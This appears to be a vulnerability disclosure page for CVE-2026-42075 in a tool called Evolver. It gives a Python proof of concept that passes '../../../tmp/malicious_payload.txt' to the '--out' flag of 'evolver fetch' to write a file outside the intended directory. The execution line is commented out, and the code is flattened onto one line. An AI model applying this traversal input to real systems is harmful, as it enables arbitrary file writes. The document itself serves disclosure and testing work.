CVE-2026-42075 Evolver路径遍历漏洞(任意文件写入)

# PoC for CVE-2026-42075: Path Traversal in Evolver # Vulnerable versions: < 1.69.3 # This script demonstrates the path traversal vulnerability # by exploiting the '--out' flag in the skill fetch command. import sys import subprocess def exploit_poc(): target_file = "../../../tmp/malicious_payload.txt" skill_name = "example_skill" print(f"[*] Attempting to write to arbitrary path: {target_file}") # Simulating the vulnerable command execution # In a real scenario, the attacker controls the '--out' argument try: # Command structure: evolver fetch <skill> --out <path> cmd = ["evolver", "fetch", skill_name, "--out", target_file] print(f"[*] Executing: {' '.join(cmd)}") # Note: This is a simulation. Actual execution depends on environment. # result = subprocess.run(cmd, capture_output=True) print("[+] If vulnerable, the file has been written outside the intended directory.") except Exception as e: print(f"[-] Error during PoC execution: {e}") if __name__ == "__main__": exploit_poc()